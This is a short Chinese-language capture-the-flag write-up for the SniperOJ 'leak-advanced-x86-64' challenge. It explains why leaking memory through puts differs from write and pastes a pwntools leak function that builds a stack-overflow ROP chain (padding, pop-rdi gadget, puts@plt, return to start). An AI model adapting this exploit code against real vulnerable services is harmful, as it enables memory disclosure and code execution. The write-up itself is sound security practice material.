SniperOJ-leak-advanced-x86-64
1.leak-advance与leak的区别在于一个可用函数是write,一个可用函数是puts.write比puts更容易利用,虽然write需要的参数多,但可以找到gadgets成功利用。
2.puts的原型是puts(addr),即将addr作为起始地址输出字符串,直到遇到“\x00”字符为止。
缺点:puts函数输出的数据长度是不受控的,只要我们输出的信息中包含\x00截断符,输出就会终止,且会自动将“\n”追加到输出字符串的末尾。
优点:需要的参数少,只有1个,无论在x32还是x64环境下,都容易调用。
3.puts_exp与write_exp区别就在leak函数的编写,上边推荐的链接里已经详细说明了,我这里就不班门弄斧了,就把这个题目的leak函数贴一下。
def prepare(address): payload = "A" * (0x10 + 8) payload += p64(rdi_ret) payload += p64(address) payload += p64(puts_plt) payload += p64(start_addr) p.recvuntil('Dancing in shackles, Right?\n') p.send(payload) def leak(address): data = '' prepare(address) up = "" while True: c = p.recv(1) if up == '\n' and c == "W": data = data[:-1] data += "\x00" break else: data += c up = c data = data[:4] return data
Always believe that good things will come.